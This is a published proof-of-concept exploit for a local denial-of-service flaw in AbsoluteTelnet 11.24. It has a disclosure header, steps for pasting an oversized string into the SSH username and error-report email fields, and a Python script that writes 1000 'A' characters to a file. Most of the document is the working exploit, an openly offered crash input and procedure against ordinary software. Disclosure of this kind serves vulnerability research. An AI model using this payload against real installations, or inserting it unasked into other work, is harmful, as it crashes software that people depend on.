AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC)

# Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-10
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe
# Tested Version: 11.24
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC)

# Steps to reproduce:
# 1. - Download and install AbsoluteTelnet
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open AbsoluteTelnet 11.24
# 4. - "new connection file -> Connection -> SSH1 & SSH2" 
# 5. - Paste the characters of txt file to "Authentication -> Username" 
# 6. - press "ok" button
# 7. - Crashed
# 8. - Reopen AbsoluteTelnet 11.24
# 9. - Copy the same characters to "Your Email Address (optional)"
# 10.- Click "Send Error Report" button
# 11.- Crashed


#!/usr/bin/python

exploit = 'A' * 1000

try: 
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC not created")